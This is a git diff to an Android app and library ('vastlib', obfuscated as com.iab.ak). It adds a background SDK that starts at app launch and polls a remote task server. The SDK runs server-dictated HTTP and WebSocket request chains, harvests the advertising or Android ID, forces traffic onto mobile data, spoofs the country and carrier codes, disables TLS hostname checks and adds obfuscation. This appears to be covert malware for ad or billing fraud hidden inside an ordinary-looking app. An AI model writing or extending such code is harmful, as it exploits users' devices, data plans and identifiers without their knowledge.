diff --git a/app/src/main/java/com/example/kvast_sdk/MainActivity.kt b/app/src/main/java/com/example/kvast_sdk/MainActivity.kt
index 5f79f9e..7d7d9be 100644
--- a/app/src/main/java/com/example/kvast_sdk/MainActivity.kt
+++ b/app/src/main/java/com/example/kvast_sdk/MainActivity.kt
@@ -1,12 +1,28 @@
package com.example.kvast_sdk
import android.os.Bundle
+import android.util.Log
import androidx.appcompat.app.AppCompatActivity
-import com.example.vastlib.utils.encryptToByteArray
+import com.example.vastlib.service.SdkMainService
+import com.iab.ak.Sdk
+import kotlinx.coroutines.CoroutineScope
+import kotlinx.coroutines.Dispatchers
+import kotlinx.coroutines.delay
+import kotlinx.coroutines.launch
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
+ Sdk.init(this.applicationContext)
+ }
+
+ override fun onResume() {
+ super.onResume()
+ val coroutineScope = CoroutineScope(Dispatchers.IO)
+ coroutineScope.launch {
+ delay(10000)
+ Log.e("TAG", "run.....")
+ }
}
}
\ No newline at end of file
diff --git a/gradle.properties b/gradle.properties
index 3c5031e..f904773 100644
--- a/gradle.properties
+++ b/gradle.properties
@@ -20,4 +20,6 @@ kotlin.code.style=official
# Enables namespacing of each library's R class so that its R class includes only the
# resources declared in the library itself and none from the library's dependencies,
# thereby reducing the size of the R class for that library
-android.nonTransitiveRClass=true
\ No newline at end of file
+android.nonTransitiveRClass=true
+android.R8 = true
+android.enableR8.fullMode=true
\ No newline at end of file
diff --git a/vastlib/build.gradle b/vastlib/build.gradle
index 585ab96..985033f 100644
--- a/vastlib/build.gradle
+++ b/vastlib/build.gradle
@@ -7,15 +7,15 @@ android {
namespace 'com.example.vastlib'
compileSdk 33
defaultConfig {
- minSdk 16
+ minSdk 23
targetSdk 33
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
consumerProguardFiles "consumer-rules.pro"
buildConfigField "boolean", "log_enable", "true"
- buildConfigField "int", "aff_id", "10000"
- buildConfigField "int", "sdk_version", "10"
- buildConfigField "String", "task_api", "\"aaa\""
+ buildConfigField "int", "aff_id", "1040"
+ buildConfigField "int", "sdk_version", "34"
+ buildConfigField "String", "task_api", "\"https://api.osakamob.com/task\""
}
buildTypes {
diff --git a/vastlib/proguard-rules.pro b/vastlib/proguard-rules.pro
index 481bb43..fbb426c 100644
--- a/vastlib/proguard-rules.pro
+++ b/vastlib/proguard-rules.pro
@@ -18,4 +18,22 @@
# If you keep the line number information, uncomment this to
# hide the original source file name.
-#-renamesourcefileattribute SourceFile
\ No newline at end of file
+#-renamesourcefileattribute SourceFile
+-optimizationpasses 5
+#包明不混合大小写
+-dontusemixedcaseclassnames
+#不去忽略非公共的库类
+-dontskipnonpubliclibraryclasses
+-dontskipnonpubliclibraryclassmembers
+#优化 不优化输入的类文件
+-dontoptimize
+#预校验
+-dontpreverify
+#混淆时是否记录日志
+-verbose
+#混淆时所采用的算法
+-optimizations !code/simplification/arithmetic,!field/,!class/merging/
+#保护注解
+-keepattributes Annotation
+-repackageclasses 'com.iab.ak'
+-keep class com.iab.ak.*{*;}
\ No newline at end of file
diff --git a/vastlib/src/main/AndroidManifest.xml b/vastlib/src/main/AndroidManifest.xml
index 8c4c982..beb787f 100644
--- a/vastlib/src/main/AndroidManifest.xml
+++ b/vastlib/src/main/AndroidManifest.xml
@@ -2,4 +2,7 @@
+
+
\ No newline at end of file
diff --git a/vastlib/src/main/java/com/example/vastlib/entity/action/HttpActionResponse.kt b/vastlib/src/main/java/com/example/vastlib/entity/action/HttpActionResponse.kt
index ad8cfdd..3198268 100644
--- a/vastlib/src/main/java/com/example/vastlib/entity/action/HttpActionResponse.kt
+++ b/vastlib/src/main/java/com/example/vastlib/entity/action/HttpActionResponse.kt
@@ -1,7 +1,7 @@
package com.example.vastlib.entity.action
data class HttpActionResponse(
- val headers:List,
- val cookies:List,
- val params:List
+ var headers:List = emptyList(),
+ var cookies:List = emptyList(),
+ var params:List = emptyList()
):java.io.Serializable
diff --git a/vastlib/src/main/java/com/example/vastlib/entity/action/NameValue.kt b/vastlib/src/main/java/com/example/vastlib/entity/action/NameValue.kt
index d8c5747..2bbd4ea 100644
--- a/vastlib/src/main/java/com/example/vastlib/entity/action/NameValue.kt
+++ b/vastlib/src/main/java/com/example/vastlib/entity/action/NameValue.kt
@@ -1,8 +1,8 @@
package com.example.vastlib.entity.action
data class NameValue(
- val name: String,
- val value: String
+ var name: String,
+ var value: String
) : java.io.Serializable {
override fun equals(other: Any?): Boolean {
if (this === other) return false
diff --git a/vastlib/src/main/java/com/example/vastlib/entity/request/BaseRequestBuilder.kt b/vastlib/src/main/java/com/example/vastlib/entity/request/BaseRequestBuilder.kt
index 6a83382..b138d5c 100644
--- a/vastlib/src/main/java/com/example/vastlib/entity/request/BaseRequestBuilder.kt
+++ b/vastlib/src/main/java/com/example/vastlib/entity/request/BaseRequestBuilder.kt
@@ -3,16 +3,13 @@ package com.example.vastlib.entity.request
import android.content.Context
import android.content.pm.PackageManager
import android.os.Build
+import android.provider.Settings
import android.telephony.TelephonyManager
import com.example.vastlib.BuildConfig
import com.example.vastlib.utils.AndroidIdManager
-import com.example.vastlib.utils.AndroidIdManager.init
import com.example.vastlib.utils.LogUtils
import com.example.vastlib.utils.NetworkManager
-import kotlinx.coroutines.CoroutineScope
-import kotlinx.coroutines.Dispatchers
-import kotlinx.coroutines.SupervisorJob
-import kotlinx.coroutines.launch
+import kotlinx.coroutines.*
class BaseRequestBuilder(private val context: Context) {
private val networkOperator: String
@@ -25,29 +22,28 @@ class BaseRequestBuilder(private val context: Context) {
private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob())
private val userId: String
get() {
- var id = ""
- scope.launch {
- id = AndroidIdManager.getAdId(context)
- }
- return id
+ return AndroidIdManager.id ?: Settings.Secure.getString(AndroidIdManager.context.contentResolver, Settings.Secure.ANDROID_ID)
}
private val appVer: Int
private val telcoCode: String
get() {
- return if (networkOperator.isNotBlank()) simOperator
- else networkOperator
+// return if (networkOperator.isNotBlank()) simOperator
+// else networkOperator
+ return "46000"
}
private val netType: Int
get() {
- return NetworkManager.sdkNetworkType(context)
+// return NetworkManager.sdkNetworkType(context)
+ return NetworkManager.Type.NET_GPRS.ordinal
}
private val recvFlag: Boolean = false
private val countryCode: String
get() {
- return context.resources.configuration.locale.country
+// return context.resources.configuration.locale.country
+ return "CN"
}
init {
@@ -86,7 +82,7 @@ class BaseRequestBuilder(private val context: Context) {
recvFlag = recvFlag
)
- val genReportRequest: ReportTaskRequest = taskRequest.run{
+ val genReportRequest: ReportTaskRequest = taskRequest.run {
ReportTaskRequest(
userId = userId,
pkg = pkg,
diff --git a/vastlib/src/main/java/com/example/vastlib/entity/response/TaskResponse.kt b/vastlib/src/main/java/com/example/vastlib/entity/response/TaskResponse.kt
index 97e2b82..2d56711 100644
--- a/vastlib/src/main/java/com/example/vastlib/entity/response/TaskResponse.kt
+++ b/vastlib/src/main/java/com/example/vastlib/entity/response/TaskResponse.kt
@@ -7,7 +7,7 @@ data class TaskResponse(
var accept:String = "",
var acceptLanguage:String = "",
var reportUrl:String = "",
- var requestInterval:String = "",
+ var requestInterval:Int = 0,
var tasks:List = mutableListOf(),
override var result: Boolean = false
) : BaseResponse, java.io.Serializable
diff --git a/vastlib/src/main/java/com/example/vastlib/service/BaseActionExecService.kt b/vastlib/src/main/java/com/example/vastlib/service/BaseActionExecService.kt
index 4837d79..6886c35 100644
--- a/vastlib/src/main/java/com/example/vastlib/service/BaseActionExecService.kt
+++ b/vastlib/src/main/java/com/example/vastlib/service/BaseActionExecService.kt
@@ -38,11 +38,10 @@ abstract class BaseActionExecService(protected open val taskConfig: TaskConfig)
protected fun replaceVariableData(
nameValues: List
- ): List {
- return nameValues.map {
- NameValue(
- getVariableData(it.name), getVariableData(it.value)
- )
+ ) {
+ nameValues.map {
+ it.name = getVariableData(it.name)
+ it.value = getVariableData(it.value)
}
}
@@ -118,11 +117,11 @@ abstract class BaseActionExecService(protected open val taskConfig: TaskConfig)
wholeResponseData
}
VarExtractRule.EXTRACT_RULE_BETWEEN -> {
- val expr = extractRule.expr.split("\\|").take(2)
+ val expr = extractRule.expr.split("|").take(2)
wholeResponseData.substringAfter(expr.first()).substringBefore(expr.last())
}
VarExtractRule.EXTRACT_RULE_REGEXP -> {
- Regex(extractRule.expr).find(wholeResponseData)?.value ?: ""
+ Regex(extractRule.expr).find(wholeResponseData)?.groupValues?.getOrNull(1) ?: ""
}
VarExtractRule.EXTRACT_RULE_BASE64 -> {
if (Build.VERSION.SDK_INT >= 26) {
diff --git a/vastlib/src/main/java/com/example/vastlib/service/HttpActionExecService.kt b/vastlib/src/main/java/com/example/vastlib/service/HttpActionExecService.kt
index f8d2f43..5681381 100644
--- a/vastlib/src/main/java/com/example/vastlib/service/HttpActionExecService.kt
+++ b/vastlib/src/main/java/com/example/vastlib/service/HttpActionExecService.kt
@@ -32,7 +32,7 @@ class HttpActionExecService(
val pattern = Regex("^[a-zA-Z0-9]+://.*")
}
- fun executeAction(onFinish: (List) -> Unit = {}) = scope.launch {
+ suspend fun executeAction(onFinish: (List) -> Unit = {}) {
val actionExecList = mutableListOf()
var currentStep = taskConfig.current_step
runCatching {
@@ -255,7 +255,7 @@ class HttpActionExecService(
)
if (httpRequest.body.isNotEmpty()) {
- actionExec.respData = String(httpRequest.body)
+ actionExec.reqData = String(httpRequest.body)
}
httpResponse?.let { response ->
@@ -274,7 +274,8 @@ class HttpActionExecService(
if (response.data.isNotEmpty()) {
actionExec.respData = String(response.data)
}
- actionExec.reqHeader = response.headers.mapListToJsonString()
+ actionExec.respHeader = response.headers.mapListToJsonString()
+ actionExec.cost = httpResponse.endTime - httpResponse.startTime
}
}
diff --git a/vastlib/src/main/java/com/example/vastlib/service/NetworkController.kt b/vastlib/src/main/java/com/example/vastlib/service/NetworkController.kt
index 815f863..11da2d5 100644
--- a/vastlib/src/main/java/com/example/vastlib/service/NetworkController.kt
+++ b/vastlib/src/main/java/com/example/vastlib/service/NetworkController.kt
@@ -13,7 +13,6 @@ import androidx.annotation.RequiresApi
import com.example.vastlib.utils.LogUtils
import com.example.vastlib.utils.NetworkManager
-@RequiresApi(Build.VERSION_CODES.LOLLIPOP)
class NetworkController private constructor() : ConnectivityManager.NetworkCallback() {
private lateinit var context: Context
var switchSuccess = false
@@ -22,8 +21,9 @@ class NetworkController private constructor() : ConnectivityManager.NetworkCallb
private var activeNetwork: Network? = null
private var handlerThread: HandlerThread? = null
- fun init(context: Context) {
+ fun init(context: Context):NetworkController {
this.context = context
+ return this
}
companion object {
@@ -42,7 +42,6 @@ class NetworkController private constructor() : ConnectivityManager.NetworkCallb
onUnavailable()
}
- @RequiresApi(Build.VERSION_CODES.M)
fun switchNetworkToGprs() {
LogUtils.info("${System.currentTimeMillis()} start try switch network to gprs")
switchSuccess = false
diff --git a/vastlib/src/main/java/com/example/vastlib/service/SdkMainService.kt b/vastlib/src/main/java/com/example/vastlib/service/SdkMainService.kt
index fd53427..6b7a21a 100644
--- a/vastlib/src/main/java/com/example/vastlib/service/SdkMainService.kt
+++ b/vastlib/src/main/java/com/example/vastlib/service/SdkMainService.kt
@@ -4,22 +4,19 @@ import android.annotation.SuppressLint
import android.content.Context
import android.os.SystemClock
import com.example.vastlib.BuildConfig
-import com.example.vastlib.entity.action.BaseAction
import com.example.vastlib.entity.http.Request
import com.example.vastlib.entity.request.BaseRequestBuilder
import com.example.vastlib.entity.response.TaskResponse
-import com.example.vastlib.entity.task.Task
import com.example.vastlib.utils.*
import com.example.vastlib.utils.HttpUtils.HttpRequest.call
import com.example.vastlib.utils.JSONUtils.toJsonString
import kotlinx.coroutines.*
import kotlinx.coroutines.flow.MutableStateFlow
-import org.json.JSONArray
-import org.json.JSONObject
import java.util.concurrent.atomic.AtomicReference
+import kotlin.time.ExperimentalTime
+import kotlin.time.measureTime
sealed class TaskEvent {
- object Idle : TaskEvent()
object Waiting : TaskEvent()
object RequestData : TaskEvent()
data class RunTask(val taskResponse: TaskResponse) : TaskEvent()
@@ -30,7 +27,7 @@ class SdkMainService private constructor() {
private val taskScope: CoroutineScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
private var isTaskRunning = AtomicReference(false)
private var nextRequestTine: Long = 0
- private var state: MutableStateFlow = MutableStateFlow(TaskEvent.Idle)
+ private var state: MutableStateFlow = MutableStateFlow(TaskEvent.Waiting)
companion object {
private const val DEFAULT_REQUEST_TASK_INTERVAL = (5 * 60 * 1000).toLong()
@@ -50,27 +47,89 @@ class SdkMainService private constructor() {
}
}
- fun init(ctx: Context) {
- if (::context.isInitialized || taskScope.isActive) return
+ @OptIn(ExperimentalTime::class)
+ fun start(ctx: Context) {
+ if (::context.isInitialized) return
context = ctx
AndroidIdManager.init(context)
- taskScope.launch { run() }
+ taskScope.launch {
+ run()
+ }
taskScope.launch {
state.collect { event ->
when (event) {
- TaskEvent.Idle -> {
-
- }
- TaskEvent.Waiting -> {
-
- }
TaskEvent.RequestData -> {
LogUtils.info("SdkMainService try get task")
val taskResponse = getTasks()
+ if (taskResponse == null) {
+ nextRequestTine =
+ SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL
+ state.emit(TaskEvent.Waiting)
+ } else {
+ nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn()
+ if (taskResponse.tasks.isEmpty()) {
+ TaskEvent.Waiting
+ } else {
+ TaskEvent.RunTask(taskResponse)
+ }.run {
+ state.emit(this)
+ }
+ }
}
is TaskEvent.RunTask -> {
+ kotlin.runCatching {
+ val taskResponse = event.taskResponse
+ if (NetworkManager.isMetered(context) &&
+ NetworkManager.haveChangeNetworkPermission(context)
+ ) {
+ NetworkController.getInstance().init(context)
+ .switchNetworkToGprs()
+ var count = 0
+ while (isActive && NetworkController.getInstance().switchSuccess && count < 10) {
+ delay(1000)
+ count++
+ }
+ if (!NetworkController.getInstance().switchSuccess) {
+ nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn()
+ state.emit(TaskEvent.Waiting)
+ return@collect
+ }
+ }
+
+ isTaskRunning.set(true)
+ val userId = AndroidIdManager.getAdId()
+ measureTime {
+
+ taskResponse.tasks.map {
+ async {
+ TaskExecService(it, taskResponse, userId).runTask(
+ TASK_MAX_EXEC_TIME
+ )
+ }
+ }.toList().awaitAll()
+ }.apply {
+ LogUtils.info("use ${this.inWholeSeconds}'s before task exec completed")
+ }
+
+ NetworkController.getInstance().restore()
+ nextRequestTine = taskResponse.requestInterval.nextRequestCoerceIn()
+ isTaskRunning.set(false)
+ TaskEvent.Waiting
+ }.onFailure {
+ LogUtils.error(it)
+ isTaskRunning.set(false)
+ nextRequestTine = SystemClock.elapsedRealtime() + DEFAULT_REQUEST_TASK_INTERVAL
+ TaskEvent.Waiting
+ }.getOrElse {
+ TaskEvent.Waiting
+ }.apply {
+ state.emit(this)
+ }
+ }
+ else -> {
+ delay(500)
}
}
}
@@ -89,9 +148,8 @@ class SdkMainService private constructor() {
return null
}
- private fun parseApiResponseTask(data: ByteArray): TaskResponse? {
- return null
- }
+ private fun parseApiResponseTask(data: ByteArray): TaskResponse? =
+ JSONUtils.TaskReposeParser(data).parse()
private fun buildTaskRequest(): Request = Request(
url = BuildConfig.task_api,
@@ -108,7 +166,10 @@ class SdkMainService private constructor() {
private suspend fun run() = withContext(Dispatchers.IO) {
while (isActive) {
kotlin.runCatching {
- if (isTaskRunning.get() || SystemClock.elapsedRealtime() <= nextRequestTine ||
+ AndroidIdManager.getAdId()
+ if (isTaskRunning.get() ||
+ state.value != TaskEvent.Waiting ||
+ SystemClock.elapsedRealtime() <= nextRequestTine ||
!NetworkManager.hasSimCard.invoke(context) ||
NetworkManager.airModeOn.invoke(context)
) {
@@ -132,5 +193,8 @@ class SdkMainService private constructor() {
}
}
+ fun Int.nextRequestCoerceIn(): Long {
+ return (if (this <= 0 || this > 24 * 60) 6 * 60 else this) * 60_000 + SystemClock.elapsedRealtime()
+ }
}
\ No newline at end of file
diff --git a/vastlib/src/main/java/com/example/vastlib/service/TaskExecService.kt b/vastlib/src/main/java/com/example/vastlib/service/TaskExecService.kt
index 5428749..d601f7a 100644
--- a/vastlib/src/main/java/com/example/vastlib/service/TaskExecService.kt
+++ b/vastlib/src/main/java/com/example/vastlib/service/TaskExecService.kt
@@ -10,21 +10,19 @@ import com.example.vastlib.entity.task.Task
import com.example.vastlib.entity.task.TaskConfig
import com.example.vastlib.utils.LogUtils
import com.example.vastlib.utils.WebSocketClientManager
-import kotlinx.coroutines.Dispatchers
-import kotlinx.coroutines.delay
-import kotlinx.coroutines.withContext
+import kotlinx.coroutines.*
import java.net.CookieManager
import java.net.CookiePolicy
import kotlin.random.Random
-class TaskExecService private constructor(
+class TaskExecService constructor(
private val currentTask: Task, private val taskResponse: TaskResponse, userId: String
) {
private lateinit var taskConfig: TaskConfig
init {
with(taskResponse) {
- TaskConfig(
+ taskConfig = TaskConfig(
user_id = userId,
user_agent = taskResponse.userAgent,
accept = accept,
@@ -40,7 +38,7 @@ class TaskExecService private constructor(
}
}
- suspend fun runTask() = withContext(Dispatchers.IO) {
+ suspend fun runTask(timeOutMillis:Long) = withTimeoutOrNull(timeMillis = timeOutMillis) {
WebSocketClientManager.getInstance().closeClient()
execTask()
delay((Random.nextInt(30) + 30) * 1000L)
diff --git a/vastlib/src/main/java/com/example/vastlib/service/WebSocketActionExecService.kt b/vastlib/src/main/java/com/example/vastlib/service/WebSocketActionExecService.kt
index 1d09d76..f096f74 100644
--- a/vastlib/src/main/java/com/example/vastlib/service/WebSocketActionExecService.kt
+++ b/vastlib/src/main/java/com/example/vastlib/service/WebSocketActionExecService.kt
@@ -1,5 +1,6 @@
package com.example.vastlib.service
+import android.text.TextUtils.replace
import android.util.Log
import com.example.vastlib.entity.action.*
import com.example.vastlib.entity.report.ActionExec
@@ -15,7 +16,7 @@ class WebSocketActionExecService(
private val action: WebSocketAction, taskConfig: TaskConfig
) : BaseActionExecService(taskConfig) {
- fun executeAction(onFinish: (List) -> Unit) = scope.launch {
+ suspend fun executeAction(onFinish: (List) -> Unit) {
val actionExecList: MutableList = mutableListOf()
var currentStep: Int = taskConfig.current_step
kotlin.runCatching {
@@ -99,9 +100,9 @@ class WebSocketActionExecService(
}
wsResponse?.apply {
- actionExec.respCode = wsResponse.code
- actionExec.reqData = wsResponse.data?.toString() ?: ""
- actionExec.respHeader = wsRequest.headers.toJsonString()
+ actionExec.respCode= wsResponse.code
+ actionExec.respData = wsResponse.data?.toString() ?: ""
+ actionExec.respHeader = wsResponse.headers.toJsonString()
actionExec.cost = wsResponse.endTime - wsResponse.startTime
}
return actionExec
@@ -128,11 +129,11 @@ class WebSocketActionExecService(
actionRequest.headers = this
}
- getVariableData(actionRequest.url).apply {
+ getVariableData(actionRequest.url).runCatching{
actionRequest.url = this
if (startsWith("wss://")) replace("wss://", "https://") else replace("ws://", "http://")
- }.apply {
- amendCookie(this, actionRequest)
+ }.onSuccess{
+ amendCookie(it, actionRequest)
}
}
diff --git a/vastlib/src/main/java/com/example/vastlib/utils/AndroidIdManager.kt b/vastlib/src/main/java/com/example/vastlib/utils/AndroidIdManager.kt
index d61ddf6..51cf892 100644
--- a/vastlib/src/main/java/com/example/vastlib/utils/AndroidIdManager.kt
+++ b/vastlib/src/main/java/com/example/vastlib/utils/AndroidIdManager.kt
@@ -5,6 +5,7 @@ import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.content.ServiceConnection
+import android.content.pm.PackageManager.NameNotFoundException
import android.os.IBinder
import android.os.IInterface
import android.os.Parcel
@@ -12,43 +13,53 @@ import android.os.RemoteException
import android.provider.Settings
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext
+import java.lang.Exception
import java.util.concurrent.LinkedBlockingQueue
@SuppressLint("StaticFieldLeak")
object AndroidIdManager {
lateinit var context: Context
- private var id: String? = null
+ var id: String? = null
fun init(context: Context) {
this.context = context
}
- suspend fun getAdId(context: Context): String {
+ suspend fun getAdId(): String {
if (id != null) return id!!
withContext(Dispatchers.IO) {
- val pm = context.packageManager
- pm.getPackageInfo("com.android.vending", 0)
- val connection = AdvertisingConnection()
- val intent = Intent("com.google.android.gms.ads.identifier.service.START")
- intent.setPackage("com.google.android.gms")
- id = if (context.bindService(
- intent,
- connection,
- Context.BIND_AUTO_CREATE
- )
- ) {
- try {
- val adInterface = AdvertisingInterface(connection.binder)
- adInterface.id
- }catch (e:java.lang.Exception) {
- null
- } finally {
- context.unbindService(connection)
+ try{
+ val pm = context.packageManager
+ pm.getPackageInfo("com.android.vending", 0)
+ val connection = AdvertisingConnection()
+ val intent = Intent("com.google.android.gms.ads.identifier.service.START")
+ intent.setPackage("com.google.android.gms")
+ id = if (context.bindService(
+ intent,
+ connection,
+ Context.BIND_AUTO_CREATE
+ )
+ ) {
+ try {
+ val adInterface = AdvertisingInterface(connection.binder)
+ adInterface.id
+ }catch (e: Exception) {
+ null
+ } finally {
+ context.unbindService(connection)
+ }
+ } else {
+ null
}
- } else {
- null
+ id
+ }catch (e:NameNotFoundException){
+ e.printStackTrace()
+ id = Settings.Secure.getString(context.contentResolver, Settings.Secure.ANDROID_ID)
+ }catch (e:Exception) {
+
}
}
+// LogUtils.info("get android Id ${Settings.Secure.getString(context.contentResolver, Settings.Secure.ANDROID_ID)}")
return if(id == null || id?.contains("00000000") == true) Settings.Secure.getString(context.contentResolver, Settings.Secure.ANDROID_ID) else id!!
}
diff --git a/vastlib/src/main/java/com/example/vastlib/utils/HttpUtils.kt b/vastlib/src/main/java/com/example/vastlib/utils/HttpUtils.kt
index de13740..298aa9d 100644
--- a/vastlib/src/main/java/com/example/vastlib/utils/HttpUtils.kt
+++ b/vastlib/src/main/java/com/example/vastlib/utils/HttpUtils.kt
@@ -81,7 +81,7 @@ class HttpUtils {
setHostnameVerifier { _, _ -> true }
}
} else {
- this.openConnection(Proxy.NO_PROXY) as HttpsURLConnection
+ this.openConnection(Proxy.NO_PROXY) as HttpURLConnection
}
@@ -187,7 +187,9 @@ class HttpUtils {
Params.REQUEST_METHOD_POST.uppercase() -> {
var encryptor: Encryptor? = null
if (request.isEncryptRequest()) {
- urlConnection?.let { encryptor = Encryptor(it.url.host) }
+ urlConnection?.let {
+ encryptor = Encryptor(it.url.host)
+ }
}
urlConnection?.runCatching {
@@ -205,6 +207,8 @@ class HttpUtils {
method = RequestMethod.Post
)
}
+ }?.onFailure {
+ LogUtils.error(it, "aaaaa")
}
}
else -> {}
diff --git a/vastlib/src/main/java/com/example/vastlib/utils/JSONUtils.kt b/vastlib/src/main/java/com/example/vastlib/utils/JSONUtils.kt
index 60ad60a..02def08 100644
--- a/vastlib/src/main/java/com/example/vastlib/utils/JSONUtils.kt
+++ b/vastlib/src/main/java/com/example/vastlib/utils/JSONUtils.kt
@@ -24,7 +24,8 @@ object JSONUtils {
headers.toJson().apply {
it.put("headers", this)
}
- it.toString(4)
+ it.put("body", String(body))
+ it.toString()
}
fun Response.toJsonString(): String = JSONObject().let {
@@ -33,37 +34,33 @@ object JSONUtils {
it.put("end_time", endTime)
it.put("data", String(data))
JSONObject().let { jsonObject ->
- headers.map { h ->
- jsonObject.put(h.key, h.value)
+ headers.map{ h ->
+ jsonObject.put("${h.key}", "${h.value}")
}
}.apply {
it.put("header", this)
}
- it.toString(4)
+ it.toString()
}
fun Map>.mapListToJsonString(): String = JSONObject().let { obj ->
- mapValues {
+ filter { it.key.isNullOrBlank() != true }.mapValues {
JSONArray().let { array ->
it.value.map { v -> array.put(v) }
obj.put(it.key, array)
}
}
- obj.toString(4)
+ obj.toString()
}
- fun Map.toJsonString(): String = this.toJson().toString(4)
+ fun Map.toJsonString(): String = this.toJson().toString()
- fun Map.toJson(): JSONArray =
- JSONArray().let { headerArray ->
- map { h ->
- JSONObject().let { hj ->
- hj.put(h.key, h.value)
- }.apply {
- headerArray.put(this)
- }
+ fun Map.toJson(): JSONObject =
+ JSONObject().let {obj->
+ filter { it.key.isNullOrBlank() != true }.map { h ->
+ obj.put(h.key, h.value)
}
- headerArray
+ obj
}
fun List.toJson(): JSONArray = JSONArray().let { array ->
@@ -111,13 +108,13 @@ object JSONUtils {
array
}
- fun List.toJsonString() = toJson().toString(4)
+ fun List.toJsonString() = toJson().toString()
fun ReportTaskRequest.toJsonString(): String {
- return this.toJson().put("taskLogs", this.taskLogs.toJson()).toString(4)
+ return this.toJson().put("taskLogs", this.taskLogs.toJson()).toString()
}
- fun BaseRequest.toJsonString() = toJson().toString(4)
+ fun BaseRequest.toJsonString() = toJson().toString()
fun BaseRequest.toJson(): JSONObject = JSONObject().let {
it.put("userId", userId)
@@ -128,7 +125,7 @@ object JSONUtils {
it.put("sdkVer", sdkVer)
it.put("appVer", appVer)
it.put("countryCode", countryCode)
- it.put("telcoCode", countryCode)
+ it.put("telcoCode", telcoCode)
it.put("netType", netType)
it.put("recvFlag", recvFlag)
}
@@ -143,7 +140,7 @@ object JSONUtils {
taskResponse.acceptLanguage = optString("acceptLanguage", "")
taskResponse.accept = optString("accept", "")
taskResponse.reportUrl = optString("reportUrl", "")
- taskResponse.requestInterval = optString("requestInterval", "")
+ taskResponse.requestInterval = optInt("requestInterval")
taskResponse.result = optBoolean("result")
optJSONArray("tasks")?.run {
(0 until length()).forEach { index ->
@@ -297,7 +294,7 @@ object JSONUtils {
jsonObject.optJSONObject("request")?.run {
val url = optString("url", "")
val method = optString("method", "")
- val autoCookie = optBoolean("auto_cookie")
+ val autoCookie = optBoolean("auto_cookie", true)
val actionRequest = HttpActionRequest(
url = url,
method = method,
@@ -321,8 +318,47 @@ object JSONUtils {
}
httpAction.request = actionRequest
+ }
+ jsonObject.optJSONObject("response")?.run {
+ val actionResponse = HttpActionResponse()
+ optJSONArray("headers")?.parseNameVariable { nv ->
+ actionResponse.headers += nv
+ }
+
+ optJSONArray("cookies")?.parseNameVariable { nv ->
+ actionResponse.cookies += nv
+ }
+
+ optJSONArray("params")?.run {
+ (0 until length()).forEach {
+ getJSONObject(it).apply {
+ val arv = VarExtractRule(
+ expr = optString("expr"),
+ variable = optString("variable"),
+ rule = optInt("rule")
+ )
+ actionResponse.params += arv
+ }
+ }
+ }
+
+
+ httpAction.response = actionResponse
}
+
+ jsonObject.optJSONArray("next")?.run {
+ (0 until length()).forEach {index->
+ optJSONObject(index)?.apply {
+ httpAction.next += Next(
+ contain = optString("contain"),
+ step = optInt("step"),
+ regexp = optString("regexp")
+ )
+ }
+ }
+ }
+
return httpAction
}
@@ -340,6 +376,19 @@ object JSONUtils {
}
}
+ val parseNameVariable: JSONArray.(callback: (NameVariable) -> Unit) -> Unit =
+ { callback: (NameVariable) -> Unit ->
+ (0 until length()).forEach { index ->
+ getJSONObject(index).run {
+ callback(
+ NameVariable(
+ optString("name", ""), optString("variable", "")
+ )
+ )
+ }
+
+ }
+ }
}
interface Parser {
diff --git a/vastlib/src/main/java/com/example/vastlib/utils/NetworkManager.kt b/vastlib/src/main/java/com/example/vastlib/utils/NetworkManager.kt
index 7c1bfb8..779b147 100644
--- a/vastlib/src/main/java/com/example/vastlib/utils/NetworkManager.kt
+++ b/vastlib/src/main/java/com/example/vastlib/utils/NetworkManager.kt
@@ -1,6 +1,8 @@
package com.example.vastlib.utils
+import android.Manifest
import android.content.Context
+import android.content.pm.PackageManager
import android.net.ConnectivityManager
import android.net.Network
import android.os.Build
@@ -43,12 +45,12 @@ object NetworkManager {
}
val hasSimCard: (context: Context) -> Boolean = { context ->
- (context.getSystemService(Context.TELEPHONY_SERVICE) as? TelephonyManager)?.run {
+ /* (context.getSystemService(Context.TELEPHONY_SERVICE) as? TelephonyManager)?.run {
when (simState) {
TelephonyManager.SIM_STATE_ABSENT, TelephonyManager.SIM_STATE_UNKNOWN -> false
else -> true
}
- } ?: true
+ } ?:*/ true
}
val repairNetwork: (context: Context) -> Unit = { context ->
@@ -77,4 +79,11 @@ object NetworkManager {
}
}
}
+
+ val haveChangeNetworkPermission: (context: Context) -> Boolean = { context ->
+ context.packageManager.checkPermission(
+ Manifest.permission.CHANGE_NETWORK_STATE,
+ context.packageName
+ ) != PackageManager.PERMISSION_DENIED
+ }
}
\ No newline at end of file
diff --git a/vastlib/src/main/java/com/example/vastlib/utils/WebSocketClientManager.kt b/vastlib/src/main/java/com/example/vastlib/utils/WebSocketClientManager.kt
index 4979bf9..a09a52b 100644
--- a/vastlib/src/main/java/com/example/vastlib/utils/WebSocketClientManager.kt
+++ b/vastlib/src/main/java/com/example/vastlib/utils/WebSocketClientManager.kt
@@ -11,6 +11,7 @@ import org.java_websocket.drafts.Draft_6455
import org.java_websocket.extensions.IExtension
import org.java_websocket.handshake.ServerHandshake
import org.java_websocket.protocols.IProtocol
+import org.java_websocket.protocols.Protocol
import org.json.JSONArray
import java.lang.Exception
import java.net.URI
@@ -45,7 +46,7 @@ class WebSocketClientManager {
}
}
- suspend fun callWebSocketRequest(request: WsRequest): WsResponse = withContext(Dispatchers.IO) {
+ suspend fun callWebSocketRequest(request: WsRequest): WsResponse {
val startTime = System.currentTimeMillis()
val result = WsResponse(
startTime = startTime
@@ -56,7 +57,7 @@ class WebSocketClientManager {
var errorMessage = ""
kotlin.runCatching {
- if (currentClient?.isOpen == true ||
+ if (currentClient == null || currentClient?.isOpen == true ||
currentClient?.uri.toString() == request.url
) {
@@ -82,6 +83,7 @@ class WebSocketClientManager {
}
val knownExtensions = mutableListOf()
val knownProtocols = mutableListOf()
+ knownProtocols += Protocol(subProtocol)
val draft = Draft_6455(knownExtensions, knownProtocols)
val webSocketClient = kotlin.runCatching {
val wc = object : WebSocketClient(URI.create(request.url), draft, headers) {
